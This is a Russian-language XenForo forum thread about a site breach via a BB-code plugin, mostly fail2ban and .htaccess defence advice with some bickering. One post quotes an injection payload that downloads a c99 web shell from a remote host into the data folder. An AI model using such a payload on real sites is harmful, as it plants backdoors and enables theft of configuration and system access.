1. Приветствуем Вас на неофициальном форуме технической поддержки XenForo на русском языке. XenForo - коммерческий форумный движок от бывших создателей vBulletin, написанный на PHP.

Взлом XenForo (причина была в плагине Esthetic Extended BB-Codes 1.0.4)

Тема в разделе "OFF-топик", создана пользователем shaman480, 03.12.2014.

Загрузка
Статус темы:
Закрыта.
  1. Exile

    Exile Местный

    Регистрация:
    27.06.11
    Сообщения:
    997
    Симпатии:
    545
    Версия XF:
    1.4.4
    лиса, вас случаем не Евгения Иванова зовут? Уж сильно стиль параноидальности и самоуверенности похож.

    Форум, на котором 2.5 пользователя написали 2 сообщения за последние 2 года, завешали самописными костылями по самые уши. Крайне советовал бы обратить внимание на https://www.cloudflare.com/ - позволит отказаться от костыльных методов проверок на ботов. Да и пользователям жить проще станет.

    PS. Уж не потому ли 2.5 пользователя, что регистрацию никто пройти не может? Я вот какой раз не могу :D
     
    Kolya groza morey нравится это.
  2. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Уже писал но повторюсь что данный способ к сожалению не защитит от закладок в плагине... :(

    Лучше модифицировать Ваш способ и банить не в htaccess а iptables, при этом в кроне написать простенький скрипт и удалять айпишники автоматически через например неделю...

    Тогда нагрузки на сервер практически никакой не будет... :)
     
  3. infis

    infis Местный

    Регистрация:
    27.06.11
    Сообщения:
    5 966
    Симпатии:
    3 548
    Версия XF:
    1.5.9
    Не надо писать дополнительные скрипты. Есть такая тулза, как fail2ban. Ей нужно просто скармливать блокируемые IP, а о блокировке через iptables и о снятии блокировки она сама позаботится. Работает просто замечательно. Что показательно, ее можно натравить на лог ошибок того же апача. А вообще утилитка универсальная, бесшумная, сервер не грузит.
     
    Kolya groza morey и Oleg-2012 нравится это.
  4. лиса

    лиса Заблокирован

    Регистрация:
    05.10.10
    Сообщения:
    395
    Симпатии:
    84
    Мальчики, действительно, тема не о том, что вы пишите. У меня есть две темы по безопасности, там тишина.
    Не поймите, что я ухожу от ответа, мне просто не удобно обсуждать это здесь.
     
    Oleg-2012 нравится это.
  5. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    infis, а вот мне неочень понятно как у ТС был залит шелл, если конечно вообще через него удаляли базу...

    Ведь по умолчанию у папки library права 755 + в htaccess есть запрет на исполнение скриптов...

    Также по умолчанию на серверах, даже если у папки права 777, то файлы заливаются с правами 644, т.е. по идеи даже если шелл залили в папку data, то как его эксплуатировали тогда ?

    Или может я что-то непонимаю ?
     
  6. infis

    infis Местный

    Регистрация:
    27.06.11
    Сообщения:
    5 966
    Симпатии:
    3 548
    Версия XF:
    1.5.9
    Девочка, я действительно пишу по теме. Если бы Вы знали о существовании утилиты fail2ban, а также ее возможностях, то, возможно, не стали бы писать свой велосипед. Во всяком случае в том виде, в котором он есть.
    Ваша тема не о безопасности, а о паранойе.

    Так вот по теме. В принципе можно настроить реакцию fail2ban на некоторые строчки в логах, по которым будут баниться IP. Таким образом можно и эту конкретную уязвимость плагинов было бы блокировать.

    P.S. Извините заранее, если был слишком резок.
    --- добавлено : 12 дек 2014 в 16:57 ---
    Не смотрел, как именно. Думаю, что какой-то существующий файл изменялся. А сама эксплуатация была прямо через GET запросы. То есть, получив шелл, прямо в адресной строке писали нужные команды, а на стороне сервера скрипт просто обрабатывал и выполнял их.
     
    Последнее редактирование модератором: 20.12.2014
    Alex Gludo нравится это.
  7. Grell

    Grell Пользователь

    Регистрация:
    10.04.14
    Сообщения:
    77
    Симпатии:
    38
    Версия XF:
    1.3.2
    Код:
    &query=file_put_contents('data/c99.php', file_get_contents('http://remote.host/c99.txt'));die();
    Вот так и заливали. Пхп не проверяет +x бит на скриптах, на data стоят права 777 по умолчанию, поэтому можно запускать. А уж через него можно и конфиги читать, и файлы, а если доступен exec(), то и доступ в систему.
     
  8. лиса

    лиса Заблокирован

    Регистрация:
    05.10.10
    Сообщения:
    395
    Симпатии:
    84
    Мальчик, infis, вы не резкий, а смешной. Прежде чем бронзоветь, необходимо владеть информацией, иначе, в глупые истории будете попадать. Вот, и смотрите не время публикации постов, прежде чем разразится "резкостью".
    Вам не надоело ходить из темы в тему со своим велосипедом?
    Я же вам ответила раз, что самодостаточна и в отличии от вас могу принимать самостоятельные решения по сайтостроительству и воплощать их на практике.
     
  9. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Предлагаю не переходить на личности, иначе тема превратится в некому ненужный срач, а тема между прочим ОЧЕНЬ серьёзная и интересная для меня...

    Лиса зря Вы так про Infis, по мойму по постам видно что человек профи и далеко не "Мальчик", по возрасту точно... :)

    Вот из его совета, узнал про прикольную тулзу fail2ban, например как можно защитится от http-флуда при помощи этой утилиты, процитирую один мануалл:

    В Дебиан ставится легко, командой:

    aptitude install fail2ban

    Во время DDOS в логах апаче /opt/lampp/logs/access_log записывается много таких строк:

    XX.119.73.134 — - [23/Jun/2011:14:22:03 +0600] «GET /index.php HTTP/1.1″ 200 -
    XX.119.73.134 — - [23/Jun/2011:14:22:03 +0600] «GET /index.php HTTP/1.1″ 200 -
    XX.119.73.134 — - [23/Jun/2011:14:22:03 +0600] «GET /index.php HTTP/1.1″ 200 -

    В /etc/fail2ban/jail.conf изменил вот так:
    Код:
    [apache-badbots]
    enabled = true
    filter = apache-badbots
    action = iptables[name=Bad, port=http, protocol=tcp]
    logpath = /opt/lampp/logs/access_log
    bantime = 1800
    maxretry = 250
    bantime = 1800 — блокировать на 30 мин
    maxretry = 250 — количество строк в логах с одним и тем же IP (меньше ставить не советую)

    Конфиг фильтра в /etc/fail2ban/filter.d
    Код:
    failregex = ^<HOST> -.*"(GET|POST).*
    Узнаем кого заблокировали /var/log/fail2ban.log

    2011-06-29 04:16:49,743 fail2ban.actions: WARNING [apache-shorewall] Ban XX.24.139.11
    2011-06-29 04:16:50,757 fail2ban.actions: WARNING [apache-shorewall] XX.24.139.11 already banned
    2011-06-29 04:26:50,211 fail2ban.actions: WARNING [apache-shorewall] Unban XX.24.139.11
    2011-06-29 16:55:38,908 fail2ban.actions: WARNING [apache-badbots] Ban XX.119.73.134

    Вопрос а сколько ставить maxretry ?
     
    Kolya groza morey нравится это.
  10. infis

    infis Местный

    Регистрация:
    27.06.11
    Сообщения:
    5 966
    Симпатии:
    3 548
    Версия XF:
    1.5.9
    Ну на мой взгляд даже 250 много, хотя у Вас советуют ставить больше, а не меньше. В принципе, используя ЧПУ, можно смело ставить даже 10 или 20 повторов. А вообще надо просто попробовать сымитировать атаку и посмотреть логи. Тогда станет более-менее понятно, как это выглядит и как с этим бороться :)
    --- добавлено : 13 дек 2014 в 02:53 ---
    1. Обращение пишется с маленькой буквы, когда обращаетесь к неопределенному кругу лиц, но пишется с большой буквы, когда обращаетесь к конкретному человеку.
    2. Я не плохо разбираюсь в вопросе.
    3. Велосипед fail2ban используется на огромном количестве серверов как штатная утилита защиты от подбора паролей, от DoS, от DDoS, а также от сканеров. И разрабатывают fail2ban люди, значительно более высокой квалификации, чем Вы или я.
    4. Из темы в тему ходите как раз Вы. Я уже просто не выдержал смотреть Ваш бред в данной теме, к которой Ваш велосипед имеет крайне далекое отношение. Поэтому сообщил участникам свое мнение об опасности использования Вашего решения.
    5. Флаг в руки.

    Прошу впредь не обращаться снисходительно к участникам, тогда и не получите ответную реакцию.

    Если есть, что ответить по существу темы, тогда прошу высказываться, в противном случае предлагаю взаимный искрометный юмор оставить на приваты, если они кому-то будут нужны.
     
    Последнее редактирование модератором: 20.12.2014
    Romchik® и Mirovinger нравится это.
  11. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Ну там по умолчанию findtime, т.е. время после которого проверяется равно десяти минутам, поэтому 250 даже мало, т.к. могут-быть ложные срабатывания, поэтому я сделал так:

    -Конфиг фильтра (Создал сам с названием apache-ddos. conf в /etc/fail2ban/filter.d):
    Код:
    # Fail2Ban configuration file
        # Author: AmiGator
     
        [Definition]
     
        failregex = ^<HOST> -.*"(GET|POST).*HTTP.*"
     
        # Option:  ignoreregex
        # Notes.:  regex to ignore. If this regex matches, the line is ignored.
        #
        ignoreregex =
    Далее в /etc/fail2ban/jail.conf добавил:
    Код:
    [apache-ddos]
     
        enabled  = true
        filter   = apache-ddos
        action   = iptables-multiport[name=ddos, port="http,https"]
                   sendmail-buffered[name=ddos, lines=5, dest=root]
        logpath  = /var/www/*/log/access.log
        bantime  = 1800
        findtime = 60
        maxretry = 70
     
        ignoreregex = \.(jpg|jpeg|png|gif|js|css)
    В общем если примерно в секунду больше одного запроса, в течении минуты, то будет бан...

    Ну и обратите внимание на:sendmail-buffered[name=ddos, lines=5, dest=root

    Это пересылка логов на мыло, вместо root нужно вписать свой емаил !

    Ну и ещё, fail2ban можно использовать ТОЛЬКО у кого VPS, на шарред хостингах его нет-же !
     
  12. лиса

    лиса Заблокирован

    Регистрация:
    05.10.10
    Сообщения:
    395
    Симпатии:
    84
    Ну, или попрошу, можете начинать.
    Что насобирает .htaccess выложу здесь.
    --- добавлено : 13 дек 2014 в 23:27 ---
    Оно и понятно было.
    Сервер-то не жалко обвешивать сторонними продуктами, да, ещё популярными.
     
    Последнее редактирование модератором: 21.12.2014
  13. infis

    infis Местный

    Регистрация:
    27.06.11
    Сообщения:
    5 966
    Симпатии:
    3 548
    Версия XF:
    1.5.9
    Естественно, так как fail2ban использует iptables для блокировки IP. А доступ к файерволу на шаред хостингах также естественно, отсутствует. Должен быть свой сервер, хоть физический, хоть виртуальный.
     
  14. SrDEN

    SrDEN Местный

    Регистрация:
    29.08.14
    Сообщения:
    117
    Симпатии:
    54
    Версия XF:
    1.5.0
    А что вам самой мешает добавить в файл 1k адресов, 2k... 10k, тем самым найти точку отказа?
     
  15. infis

    infis Местный

    Регистрация:
    27.06.11
    Сообщения:
    5 966
    Симпатии:
    3 548
    Версия XF:
    1.5.9
    У .htaccess есть один существенный недостаток, который перечеркивает все его плюсы на высоконагруженных проектах. Чтение файла и выполнение его директив производится каждый раз при любом запросе файла из той папки, в которой он находится. Более того, перед этим читаются и обрабатываются все файлы .htaccess, которые находятся в вышестоящих папках. Таким образом при большой вложенности и при существенных объемах, а также сложных обработчиках правил rewrite, может существенно ухудшиться скорость обработки запроса.
    Тот же nginx за счет считывания всех директив и правил из конфига за один раз во время загрузки позволяет экономить ресурсы на обработку запросов. Но да, у него нет аналога .htaccess. Немного неудобно, но можно легко пережить. Зато производительность на высоте.
     
    Mirovinger нравится это.
  16. лиса

    лиса Заблокирован

    Регистрация:
    05.10.10
    Сообщения:
    395
    Симпатии:
    84
    Мне самой это не надо. Кто-то обещал отправить на фитнес файл .htaccess, используя мой модуль защиты от сканирования и скачивания файлов сайта.
     
  17. SrDEN

    SrDEN Местный

    Регистрация:
    29.08.14
    Сообщения:
    117
    Симпатии:
    54
    Версия XF:
    1.5.0
    а кто-то после моих слов попрятал свои скрипты и добавил всяких долгих обработок для попадания в бан. Мне эти кошки мышки и подавно не нужны.
     
  18. лиса

    лиса Заблокирован

    Регистрация:
    05.10.10
    Сообщения:
    395
    Симпатии:
    84
    Погоди, погоди.
    Для чего нужен модуль. Программа злодея ищет известные ей файлы различных движков. Я поставила в такие файлы модуль-антисканер. В результате программа злодея найдя нужный ей файл банится по адресу.
    Иначе, есть определённый алгоритм работы программы злодея.
    В недостатки работы модуля мне прописали, то, что модуль может своими записями переполнить .htaccess, в том случае, если атаковать такой файл.
    Теперь вы говорите, что надо время, что бы найти фай. Потом, неизвестно как найденный файл работает и будет ли он записывать адрес в .htaccessэ и так далее.

    Видите сколько проблем а вы говорите, что это просто.
    Совсем не просто. И ни кому это не надо.
    Тем не менее, я добавила в модуль антисканера таймер, что бы не было повторных записей, если идёт атака на модуль.
    --- добавлено : Dec 14, 2014 3:22 PM ---
    Первоначально у меня не было файла. Редирект с наименования файла производился в .htaccess на файл где ip адрес банился. Сейчас редирект убран из .htaccess и установлены реальные файлы со скриптами.
     
    Последнее редактирование модератором: 22.12.2014
  19. SrDEN

    SrDEN Местный

    Регистрация:
    29.08.14
    Сообщения:
    117
    Симпатии:
    54
    Версия XF:
    1.5.0
    @лиса я от своего убеждения не отказываюсь, уверен что переполнить файл можно. Я к тому что у меня нет времени искать ваши изменения, чтоб подтвердить слова. Да, и я не спорю что мне сейчас будет сделать это сложнее чем раньше, так как изначально я хотел со своей машины ожирять htaccess, и уверен что у злоумышленников есть инструменты по эффективней.
    И повторюсь еще раз, что вам самой мешает добавить в файл 1k адресов, 2k... 10k? Вам самой должно быть любопытно провести эксперимент, чтобы знать на сколько ваша система защиты может выдержать. Ведь зная его, вы сможете предотвратить неработоспособность своего ресурса. Например сайт ушел в 500 при 5k записей, в следствии чего ставите условие которое предотвращает это. Ботоводу ведь не доставит труда за 1 минуту завести к вам на сайт 5k ботов, чтоб переполнить файл. И ему это будет выгодней чем оставлять свой ботнет в работе на несколько часов, дней, недель... просто завел на минуту, и дело сделано.
     
  20. лиса

    лиса Заблокирован

    Регистрация:
    05.10.10
    Сообщения:
    395
    Симпатии:
    84
    @SrDEN, прелесть всякой защиты в её оригинальности.
    Поставьте на машине в укромном месте кран на бензопровод.
    Это элементарно, скажете вы, покажите мне место, где кран находится и я его открою.

    Вы хотите, что бы я указала файл, где модуль заложен, а вы его испытаете. Но как, - просто закачаю кило инфы. И это вы не сможете сделать, вам нужно знать, в какие моменты имеется доступ к файлу и так далее и тому подобное - вы же не можете контролировать закачку инфы в файл .htaccessэ.

    И вообще, займитесь лучше fail2ban. Там и алгоритм работы продукта есть, и стоит он на сервере и популярен у многих админов.

    SrDEN, правильно, не стоит время тратить, да, ещё ради сомнительного результата. Так же поступают те, кто запускает программы сканеры. Им не в лом идти и смотреть какой же движок у сайта, где бот не смог найти нужные файлы. Более того, отрицательных результатов должно быть много больше положительных, поскольку сканируются файлы одного двух движков и десятки остаются не тронутыми. Злодей будет работать с теми сайтами, где получке положительный результат. Ему нужно найти сайт, где он сможет приложить свои знания по части взлома.

    Ещё про время. Мне иногда приходится возвращаться к тому, что сделано ранее. И что бы разобраться в том как оно работает, иногда уходит не один день.
     
Статус темы:
Закрыта.

Поделиться этой страницей